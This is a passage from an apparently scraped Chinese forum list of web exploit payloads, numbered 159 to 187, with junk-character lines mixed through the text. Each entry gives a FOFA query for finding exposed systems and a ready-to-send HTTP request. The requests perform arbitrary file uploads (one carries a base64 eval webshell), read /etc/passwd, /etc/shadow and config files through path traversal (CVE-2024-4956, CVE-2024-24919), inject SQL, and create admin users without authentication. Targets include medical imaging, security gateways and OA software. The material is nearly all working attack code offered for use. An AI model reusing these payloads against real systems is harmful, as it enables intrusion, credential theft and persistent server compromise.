object=displayregion&contenthistid=x\'&previewid=1
; q1 h( Q# l. u4 D/ p) Q! A

5 p- r+ L- u) H2 _: p: T159. 英飞达医学影像存档与通信系统 WebJobUpload任意文件上传
FOFA："INFINITT" && (icon_hash="1474455751"|| icon_hash="702238928")
: T) H: z5 L/ z& U$ v/ PPOST /webservices/WebJobUpload.asmx HTTP/1.1
, M: \6 f. K- ?8 h1 ?, `$ yHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
& H0 s; d& `/ A; X) x7 r, BContent-Length: 1080
& r7 v% K$ ]2 N" gAccept-Encoding: gzip, deflate
Connection: close
Content-Type: text/xml; charset=utf-8
' B7 J& \+ F. r& q8 NSoapaction: "http://rainier/jobUpload"
" k) |9 V" ]* X
<?xml version="1.0" encoding="utf-8"?>
% S& q3 P3 f$ Y$ F* }& r  @<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
+ W9 V$ i3 _$ A2 {( G8 Z<soap:Body>
$ u& Z8 B7 F" h5 ~<jobUpload xmlns="http://rainier">
<vcode>1</vcode>
, E8 c6 D4 i! Y<subFolder></subFolder>
8 J' d7 N1 Y6 t6 p<fileName>abcrce.asmx</fileName>
, F& x3 ]0 a3 ~: X: `4 X<bufValue>PCVAIFdlYlNlcnZpY2UgTGFuZ3VhZ2U9IkpTY3JpcHQiIENsYXNzPSJXZWJTZXJ2aWNlMSIgJT4KIAppbXBvcnQgU3lzdGVtO2ltcG9ydCBTeXN0ZW0uV2ViO2ltcG9ydCBTeXN0ZW0uSU87aW1wb3J0IFN5c3RlbS5XZWIuU2VydmljZXM7CmltcG9ydCBTeXN0ZW0uV2ViLlNjcmlwdC5TZXJ2aWNlczsKaW1wb3J0IFN5c3RlbS5XZWI7CmltcG9ydCBTeXN0ZW0uV2ViLlNlcnZpY2VzOwogCnB1YmxpYyBjbGFzcyBXZWJTZXJ2aWNlMSBlleHRlbmRzIFdlYlNlcnZpY2UKewogCldlYk1ldGhvZEF0dHJpYnV0ZSBTY3JpcHRNZXRob2RBdHRyaWJ1dGUgZnVuY3Rpb24gQ21kc2hlbGwoUGFzcyA6IFN0cmluZykgOiBWb2lkCiAgICB7CiAgICAgICAgICAgIHZhciBjIID0gSHR0cENvbnRleHQuQ3VycmVudDsKICAgICAgICAgICAgdmFyIFJlcXVlc3QgPSBjLlJlcXVlc3Q7CiAgICAgICAgICAgIHZhciBSZXNwb25zZSA9IGMuUmVzcG9uc2U7CiAgICAgICAgICAgIGV2YWwoUGFzcyk7CiAgICCB9Cn0=</bufValue>
4 M2 D: F  p' e" j' |</jobUpload>
/ D, ^+ h7 z5 J</soap:Body>
  ~9 j3 M# r2 r5 R7 s: W</soap:Envelope>
  u' l! ?" c0 d8 {
4 L$ Q8 I& @7 u0 w3 U. ?% a4 c
/1/abcrce.asmx/Cmdshell?Pass=Response.Write("Hello,World")


7 L8 n4 o: \6 M% }4 _' D160. Sonatype Nexus Repository 3目录遍历与文件读取
CVE-2024-4956
) P/ Z5 C+ r% OFOFA：title="Nexus Repository Manager"
GET /%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1
Host: x.x.x.x
9 p7 o: ?9 s8 e4 O3 p' S: tUser-Agent: Mozilla/5.0 (Windows NT 5.1; rv:21.0) Gecko/20100101 Firefox/21.0
Connection: close
Accept: */*
6 Q# S4 K* m% L2 r% I+ bAccept-Language: en
Accept-Encoding: gzip

% ~. @9 T# s1 M# Q2 d. U
161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
1 \$ B$ I  J8 H2 G5 q1 S8 p6 o, gFOFA：body="/KT_Css/qd_defaul.css"
第一步，上传文件<fileName>字段指定文件名，<fileFlow>字段指定文件内容，内容需要base64加密
POST /Webservice.asmx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
Connection: close
4 Q) x3 Q; c, w0 z; cContent-Length: 445
& j$ o8 v2 l& IContent-Type: text/xml
7 q% Y3 ], f$ rAccept-Encoding: gzip
. s0 c* O* K5 {/ i, f
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="
0 c3 G# @5 T8 w6 I! j  f* {7 Ahttp://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<UploadResume xmlns="http://tempuri.org/">
<ip>1</ip>
<fileName>../../../../dizxdell.aspx</fileName>
<fileFlow>andqbmFnc3phc3d1ZGh0bmhwYXc=</fileFlow>
8 }2 m# C; M0 b, p4 e" R/ ^# J<tag>3</tag>
" e3 t! F% L# `$ y5 X</UploadResume>
4 |3 _/ a! X2 U" i  S</soap:Body>
1 R5 h9 s0 A; Z. r</soap:Envelope>


( r9 o4 U% I& {( Q2 Phttp://x.x.x.x/dizxdell.aspx
+ F, o' g; k- x% i- ~3 ]
162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
FOFA: app="和丰山海-数字标牌"
POST /QH.aspx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
' G$ w. b+ p  d( ?Connection: close
Content-Length: 583
  w* G+ a9 a. m7 k. |+ CContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryeegvclmyurlotuey
Accept-Encoding: gzip

------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="fileToUpload"; filename="kjuhitjgk.aspx"
Content-Type: application/octet-stream
+ P6 ~  W& d8 \, U  G2 J
<% response.write("ujidwqfuuqjalgkvrpqy") %>
4 y" [$ {4 F% U* I8 A0 `% O1 X------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="action"

7 L9 A0 \/ X2 w5 G0 qupload
------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="responderId"
2 |: B3 i4 x7 d0 r" d3 K7 D& _
ResourceNewResponder
------WebKitFormBoundaryeegvclmyurlotuey
8 U$ Y0 u$ e) P- dContent-Disposition: form-data; name="remotePath"

+ r7 H+ ]' z* N" a8 k: ~: b) L. {/opt/resources
------WebKitFormBoundaryeegvclmyurlotuey--
) m3 f" ^+ j6 {- P2 c& X7 q
) f/ X2 W  f; w2 A% w
, J$ {6 A' s8 k3 W- g9 H4 T$ I( f$ shttp://x.x.x.x/opt/resources/kjuhitjgk.aspx
/ O: x3 L5 _- g1 s; f
! k7 B/ e3 Q. u( g# d4 P( @163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
. f. d8 i5 x; P$ S' HFOFA: icon_hash="-795291075"
  r' Y, H1 E2 x) l0 ^POST /admin/controller/ue_serve.php?action=image&encode=utf-8 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
: r, K; k% O, G& N& OConnection: close
  A$ {8 u: x( |) X  A2 S9 l9 G# b- MContent-Length: 293
2 c5 F9 }; U$ q9 f# g( FAccept: */*
( q4 H# p# l- W0 H, v2 rAccept-Encoding: gzip, deflate
# m8 Z1 A8 O" ?  A2 p7 X: P: NAccept-Language: zh-CN,zh;q=0.9
% A- Q! o( X' |# C4 L7 QContent-Type: multipart/form-data; boundary=----iiqvnofupvhdyrcoqyuujyetjvqgocod

------iiqvnofupvhdyrcoqyuujyetjvqgocod
Content-Disposition: form-data; name="name"
1 {; x2 [  m9 M* P
; J/ D& i* l8 w& m) i" Y1.php
------iiqvnofupvhdyrcoqyuujyetjvqgocod
6 j% ?7 u/ W- j8 X$ J+ CContent-Disposition: form-data; name="upfile"; filename="1.php"
' o. w- U- ?) c2 ]* o" IContent-Type: image/jpeg
0 Y" U3 J3 y% T
rvjhvbhwwuooyiioxega
: e1 K* |  d/ `/ A! N+ }* J; Z------iiqvnofupvhdyrcoqyuujyetjvqgocod--
$ d7 k' p! J. ^3 G/ V" T! M
; Q( Q, E0 o% I4 @# A' Y
164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
0 s4 z. M; n7 E+ j9 GFOFA: title="智慧综合管理平台登入"
; ?5 x  E* d: ?1 N4 A! D* G5 sPOST /Module/FileUpPage/FileUpProductupdate.aspx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
2 M+ Q4 w1 u7 A& Q/ @Content-Length: 288
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2,
Connection: close
Content-Type: multipart/form-data; boundary=----dqdaieopnozbkapjacdbdthlvtlyl
8 g! M4 ?7 `, K# U4 X* ZX-Requested-With: XMLHttpRequest
0 `( i3 y# ^6 j! \0 K) i' [Accept-Encoding: gzip
0 d9 G( d/ h* C3 l9 b
------dqdaieopnozbkapjacdbdthlvtlyl
Content-Disposition: form-data; name="Filedata"; filename="qaz.aspx"
Content-Type: image/jpeg

2 N% r8 y' h5 `& ~. u<%@Page Language="C#"%><%Response.Write("aitwpovoxwtgixpfqiys");System.IO.File.Delete(Request.PhysicalPath);%>
------dqdaieopnozbkapjacdbdthlvtlyl--


/ P( y5 y4 h9 g9 l3 k+ a% Thttp://x.x.x.x/Upload/Publish/000000/0_0_0_0/update.aspx

0 l- u6 d- f* T; C+ D1 L165. OrangeHRM 3.3.3 SQL 注入
3 }1 i6 W. [1 E* f+ X: _. sCVE-2024-36428
+ H" I7 P! p& x2 U! [. _4 O$ P3 f. ^. wFOFA: app="OrangeHRM-产品"
6 [" f3 p0 H: B, RURL:https://192.168.1.28/symfony/web ... e&sortOrder=ASC,(SELECT (CASE WHEN (5240=5240) THEN 1 ELSE 5240*(SELECT 5240 FROM INFORMATION_SCHEMA.PLUGINS) END))

$ y* t$ F) N2 R  n1 v2 V! l: n5 v
166. 中成科信票务管理平台SeatMapHandler SQL注入
! U* }+ y; ~5 ~, _$ {+ EFOFA：body="技术支持：北京中成科信科技发展有限公司"
POST /SystemManager/Comm/SeatMapHandler.ashx HTTP/1.1
Host:
* p6 M: A; \8 e6 |) d+ U' |Pragma: no-cache
Cache-Control: no-cache
9 Y* A: j2 S/ D& r# j/ j$ G$ j2 }Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
  {: Y" q; C7 E2 R( S1 V: i- bAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
) u2 a! u- F! `& N- NCookie: ASPSESSIONIDCCRBRCTD=LHLBDIBAKDEGBCJGKIKMNODE
Connection: close
7 t7 r, ]1 I3 Y9 |/ fContent-Type: application/x-www-form-urlencoded
$ s2 Y8 H3 i* j. N+ k5 Q: L: eContent-Length: 89
8 Z' B1 z, S' f" _) [
Method=GetZoneInfo&solutionNo=%27+AND+4172+IN+%28SELECT+%28CHAR%28104%29%2BCHAR%28101%29%2BCHAR%28108%29%2BCHAR%28108%29%2BCHAR%28111%29%29%29--+bErE
1 s, O8 Q  l/ _+ S0 ?6 e. R
% t6 w. G3 J$ n2 z
& W5 V( c" o) o& l167. 精益价值管理系统 DownLoad.aspx任意文件读取
0 n0 U, p) A* T9 a6 P5 QFOFA：body="/ajax/LVS.Core.Common.STSResult,LVS.Core.Common.ashx"
GET /Business/DownLoad.aspx?p=UploadFile/../Web.Config HTTP/1.1
) o0 [* s+ t) aHost:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
; N0 c" w) f8 z/ n+ \; {* u- tContent-Type: application/x-www-form-urlencoded
' Y$ A( J8 n2 G% \- T0 ~Accept-Encoding: gzip, deflate
# v) W9 @8 s8 g& y$ {- W* u( AAccept: */*
1 z# a0 W0 l( G7 k$ bConnection: keep-alive
1 w& c8 s5 q% b8 M
+ R( Y2 R- G5 y8 `, F& Z
/ }- z; e# O' `; R$ g' |0 W168. 宏景EHR OutputCode 任意文件读取
FOFA：app="HJSOFT-HCM"
GET /servlet/OutputCode?path=VHmj0PAATTP2HJBPAATTPcyRcHb6hPAATTP2HJFPAATTP59XObqwUZaPAATTP2HJBPAATTP6EvXjT HTTP/1.1
4 ^( P: Z- D) L: h0 K; DHost: your-ip
$ V) A  p9 l$ a0 RUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
Content-Type: application/x-www-form-urlencoded
5 c; ?2 y: o# a4 y* ~1 LConnection: close


' H8 H+ f& I) y. |! X6 M5 ~
& Q% C1 N* [& Y/ x9 i169. 宏景EHR downlawbase SQL注入
/ f1 J: k( r+ F# qFOFA：app="HJSOFT-HCM"
GET /templates/attestation/../../selfservice/lawbase/downlawbase?id=1';WAITFOR+DELAY+'0:0:5'--+ HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Connection: close



/ o( I8 [- B7 q; Z: }$ h! ~170. 宏景EHR DisplayExcelCustomReport 任意文件读取
FOFA：body="/general/sys/hjaxmanage.js"
% j2 m* Y% S! r6 U+ h0 `POST /templates/attestation/../../servlet/DisplayExcelCustomReport HTTP/1.1
Host: balalanengliang
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
- K& F" w, r, t! ]) t8 _2 L
filename=../webapps/ROOT/WEB-INF/web.xml
. _1 z6 Y0 a6 s3 q- R2 |) g4 S, t4 Y0 u
- q% x& U+ {9 J! K9 e6 f5 F' S
171. 通天星CMSV6车载定位监控平台 SQL注入
  b8 \8 \  S7 e& D5 B& T9 f9 MFOFA：body="/808gps/"
GET /run_stop/delete.do;downloadLogger.action?ids=1)+AND+(SELECT+5394+FROM+(SELECT(SLEEP(5)))tdpw)--+&loadAll=1 HTTP/1.1
Host: your-ip
. ?5 Q  s/ T! A& @User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
+ l/ _: n7 K7 E7 q# a" gAccept: */*
9 R9 V/ x' g5 j8 k/ m1 S3 Y2 N+ a9 t. Q- OAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close


2 e# l8 _# K+ M# F5 x. s0 }
- X- Q$ I0 U- d$ r6 M  P# d172. DT-高清车牌识别摄像机任意文件读取
FOFA：app="DT-高清车牌识别摄像机"
/ V) Y! ^, S% CGET /../../../../etc/passwd HTTP/1.1
" Y+ Z' C7 m3 y% |Host: your-ip
* `; r3 j3 s6 d, EUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
" d! U1 J5 |2 l- L9 VConnection: keep-alive

. M2 D8 V7 e6 E$ V1 e
; u! f# F4 Z0 W* }3 l2 _- f1 |
) E; ^" Q* i* P: D" z  Q& G173. Check Point 安全网关任意文件读取
) h- N2 r) {8 n$ s) L$ ^" s& q: zCVE-2024-24919
FOFA：app="Check_Point-SSL-Network-Extender"
0 J( h2 D. J; C0 J3 vPOST /clients/MyCRL HTTP/1.1
Host: your-ip
Content-Type: application/x-www-form-urlencoded
; D# V4 F" r8 F: {1 Z( |8 \3 @
aCSHELL/../../../../../../../etc/shadow
5 V/ `9 M4 A+ J: P
) L: l: Y# Q; V
2 t4 D% Q& F, a! i5 m  F
7 B$ |1 O- O9 h$ S$ V. [174. 金和OA C6 FileDownLoad.aspx 任意文件读取
FOFA：app="金和网络-金和OA"
! f" x7 F3 {7 X* k; OGET /c6/JHSoft.Web.CustomQuery/FileDownLoad.aspx?FilePath=../Resource/JHFileConfig.ini HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
  |5 Z6 i" [& R* w7 P1 VAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
; {# ?" h/ E2 J4 g7 t! T: }Accept-Encoding: gzip, deflate, br
: F' p7 X- T6 x# w+ ^- A7 t( hAccept-Language: zh-CN,zh;q=0.9
Connection: close



175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
5 J5 L: n  S1 l7 M7 pFOFA：app="金和网络-金和OA"
% n6 }- A( q: ?9 G: cGET /C6/JHSoft.Web.IncentivePlan/IncentivePlanFulfill.aspx/?IncentiveID=1%20WAITFOR%20DELAY%20'0:0:5'--&TVersion=1 HTTP/1.1
" }- K' a2 m3 D( d0 |3 tHost:
User-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
" r% }, f9 K1 w( y: W5 ?Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
+ [9 w' v! H; z$ v% jAccept-Encoding: gzip, deflate
Connection: close
' o6 \' D4 ~* vUpgrade-Insecure-Requests: 1

9 l6 u0 j% g  g; W, ~* G5 Y
; V; [# @% L% s  ]2 k& Z" ~" U176. 电信网关配置管理系统 rewrite.php 文件上传
4 Y( ~- ]' O; j) v8 MFOFA：body="img/login_bg3.png" && body="系统登录"
- R+ E  A$ n- t1 f. aPOST /manager/teletext/material/rewrite.php HTTP/1.1
1 _: Z0 j. P+ G3 {Host: your-ip
+ E% f" [+ X5 c! K& x5 t4 LUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryOKldnDPT
. n$ C* g1 K) ?Connection: close
: e( O. u" Q& b" v1 R! L
+ u$ p5 l9 x! x8 g------WebKitFormBoundaryOKldnDPT
# t+ Q) U0 V; I) y0 K; z+ s. D1 m- eContent-Disposition: form-data; name="tmp_name"; filename="test.php"
- y6 v* Z2 x' g" H- }, cContent-Type: image/png

<?php system("cat /etc/passwd");unlink(__FILE__);?>
2 g4 S! k" [; E$ P* o1 C------WebKitFormBoundaryOKldnDPT
Content-Disposition: form-data; name="uploadtime"

. R( K6 t: E- c7 Q* N
------WebKitFormBoundaryOKldnDPT--
- Q2 ~9 ]1 h9 |+ |; }: y) M
# j: m$ R) X1 x7 R" f8 o2 L% x
; t1 ?" ?  I3 E# b
177. H3C路由器敏感信息泄露
. x5 D* J. u- A/ h; |; U/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
( H. }, I# t/ E' D; E% ?, p  ^/userLogin.asp/../actionpolicy_status/../M60.cfg
8 [' }! E% n* Z2 I/userLogin.asp/../actionpolicy_status/../GR8300.cfg
1 v: _+ ^) Q2 L" h, _/userLogin.asp/../actionpolicy_status/../GR5200.cfg
+ l! N" ?  p$ H, `7 s; S/userLogin.asp/../actionpolicy_status/../GR3200.cfg
0 z* G! p- }3 n/ N/userLogin.asp/../actionpolicy_status/../GR2200.cfg
- B! ], N# G% G3 B: }/userLogin.asp/../actionpolicy_status/../ER8300G2-X.cfg
, m5 e5 K- X9 C/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
/userLogin.asp/../actionpolicy_status/../ER6300G2.cfg
/userLogin.asp/../actionpolicy_status/../ER5200G2.cfg
/userLogin.asp/../actionpolicy_status/../ER5200.cfg
  B- ?' P: C, b9 M: S0 J/userLogin.asp/../actionpolicy_status/../ER5100.cfg
/userLogin.asp/../actionpolicy_status/../ER3260G2.cfg
9 X9 o3 M, e& C/userLogin.asp/../actionpolicy_status/../ER3260.cfg
* _; j6 {$ l( R( A) Q/userLogin.asp/../actionpolicy_status/../ER3200G2.cfg
/userLogin.asp/../actionpolicy_status/../ER3200.cfg
/userLogin.asp/../actionpolicy_status/../ER3108GW.cfg
! X3 j; d' ]+ j& _7 D. ~* z/userLogin.asp/../actionpolicy_status/../ER3108G.cfg
" m- ?4 K5 ^+ x* c/userLogin.asp/../actionpolicy_status/../ER3100G2.cfg
2 k0 a* R& L  ?8 ~* [3 ^# {/userLogin.asp/../actionpolicy_status/../ER3100.cfg
/ x# }* q: J6 }9 T/userLogin.asp/../actionpolicy_status/../ER2200G2.cfg
+ k: ]1 \* s6 \% H- A# u! [% [9 f
- }' O4 d, P! }+ _. s" n6 |
178. H3C校园网自助服务系统-flexfileupload-任意文件上传
! S& s1 B, h" ^; g' A( hFOFA：header="/selfservice"
POST /imc/primepush/%2e%2e/flexFileUpload HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
1 O# U/ j6 R, ~! r) O* IContent-Length: 252
" }* S7 J) @. [Accept-Encoding: gzip, deflate
Connection: close
7 Q( v  D1 N( \' \& E8 R) B! vContent-Type: multipart/form-data; boundary=---------------aqutkea7vvanpqy3rh2l
-----------------aqutkea7vvanpqy3rh2l
Content-Disposition: form-data; name="12234.txt"; filename="12234"
Content-Type: application/octet-stream
8 M6 J9 N. D5 m3 kContent-Length: 255

2 [6 i* U8 T6 U/ [7 Z( l12234
-----------------aqutkea7vvanpqy3rh2l--


GET /imc/primepush/%2e%2e/flex/12234.txt

4 x- ?# E8 K  ]0 _
& u& T- `* g2 s  `1 z179. 建文工程管理系统存在任意文件读取
POST /Common/DownLoad2.aspx HTTP/1.1
0 [. ]( M/ H$ M' L' d; L0 I6 GHost: {{Hostname}}
* w4 h3 w! f/ {1 BContent-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0

path=../log4net.config&Name=
  q- N9 `. @% M; }  G1 P, d" C* ]

180. 帮管客 CRM jiliyu SQL注入
* I. d: c8 A# ^, M$ a* tFOFA：app="帮管客-CRM"
4 w- U9 Q& M, ?3 B7 M5 I% k* lGET /index.php/jiliyu?keyword=1&page=1&pai=id&sou=soufast&timedsc=激励语列表&xu=and%201=(updatexml(1,concat(0x7e,(select%20user()),0x7e),1)) HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
3 g8 }& @; O3 O- H4 @- }  D! t- `Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
0 |0 N, s, k9 K6 K/ k% `

181. 润申信息科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
# |, V# B' j1 U2 v6 J+ y/ IFOFA："PDCA/js/_publicCom.js"
3 a  E+ G  |: ]$ `1 h. X& c1 HPOST /PDCA/ashx/UpdataLogHandler.ashx HTTP/1.1
Host: your-ip
% F7 o& w4 A; t: t( kUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
7 `0 j+ M% ^+ o! o* z2 l* KAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
# u7 r( R* j  p7 X; o, JAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
5 @, z$ t1 l: U$ W# j" _Connection: close
2 P, j. b8 M4 @+ ~# y  ~7 G& HContent-Type: application/x-www-form-urlencoded


action=GetAll&start=' WAITFOR DELAY '0:0:5'--&end=&code=11&type=2&page=1&rows=20


182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
FOFA："PDCA/js/_publicCom.js"
; ?4 h# `: D2 N& M+ {1 K! P2 w) ?3 GPOST /PDCA/ashx/AddNewsHandler.ashx?action=Adduser HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
0 A2 b4 c/ K; t) _8 [$ Q1 i

username=test1234&pwd=test1234&savedays=1

, w; F. X% t* p- R) D
' B. m; ?4 f+ g183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
* ^2 b' S, o$ q$ {4 P6 M4 hFOFA：body="interlib/common/" || body="Interlib图书馆集群管理系统" || body="/interlib3/system_index" || body="打开Interlib主界面"
GET /interlib3/service/sysop/updOpuserPw?loginid=admin11&newpassword=Aa@123456&token=1%27and+ctxsys.drithsx.sn(1,(select%20111111*111111%20from%20dual))=%272 HTTP/1.1
Host: your-ip
. C; E% F* w/ P, iUser-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
Accept-Encoding: gzip, deflate
% @& X( J( E# t, J+ H* i$ B5 KConnection: close
+ X2 E8 O+ w. p# b

184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
FOFA：server="SunFull-Webs"
( L$ @: p$ s2 j: L4 e( Y0 w3 `: ]POST /soap/AddUser HTTP/1.1
$ {: Q1 r* P" N3 ^Host: your-ip
0 A% v/ F6 C5 p4 z3 b& OAccept-Encoding: gzip, deflate
0 e8 b0 p! r% X" DUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Accept: application/xml, text/xml, */*; q=0.01
Content-Type: text/xml; charset=utf-8
7 B6 v% P. m. l" a- c4 }Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
" D: Z5 u7 w" m. V( J. f9 `X-Requested-With: XMLHttpRequest
7 o. y3 R9 E- S4 j' t

- V5 i/ B) j6 \. l) winsert into userid (USERNAME,PASSWORD,PURVIEW,LOGINDATE,LOGINTIME) values('root','123456','4','2024-5-6','11:7:56')
) [) O6 L; q* W

- I1 _- A- a; P' ?( O+ }185. 瑞友天翼应用虚拟化系统SQL注入
2 H8 \2 v/ ]$ _" S6 ?version < 7.0.5.1
FOFA：app="REALOR-天翼应用虚拟化系统"
GET /index.php?s=/Admin/appsave&appid=3%27%29%3Bselect+unhex%28%273c3f706870206563686f206d643528223122293b202466696c65203d205f5f46494c455f5f3b20756e6c696e6b282466696c65293b%27%29+into+outfile+%27.%5C%5C..%5C%5C..%5C%5CWebRoot%5C%5Cplom.xgi%27%23 HTTP/1.1
# [# I) y: s# ]+ o8 r4 WHost: host
) O1 }' P  _" h$ `# q7 v1 k$ ?
- s# _7 k- w5 t* d
186. F-logic DataCube3 SQL注入
9 ?# _6 p& y. ~$ t% d% ^# q: XCVE-2024-31750
F-logic DataCube3是一款用于光伏发电系统的紧凑型终端测量系统
' _; I0 P  e( U. e- s' LFOFA：title=="DataCube3"
. s' g  N0 @7 U. nPOST /admin/pr_monitor/getting_index_data.php HTTP/1.1
; F6 N4 c6 P5 z3 o, [! h( S3 y6 NHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
  G2 u7 I3 }5 l) ]' w; t6 `' S  J% U# ?! MAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8
" l! B+ ^1 j; t4 z4 r0 w% Z; `4 D8 }: BAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
$ Y. e& \% z. D; ^Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/x-www-form-urlencoded
6 l8 e; {7 y) ^5 O8 I8 A
+ Q$ F# a1 ]. ]req_id=1) AND 1113=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2)))) AND (1450=1450

3 G% u7 p% @  l- ~$ `3 x
) _; c+ f, ]  H8 {3 B187. Mura CMS processAsyncObject SQL注入
2 W' `0 `) P* d& \- SCVE-2024-32640
FOFA："Mura CMS"
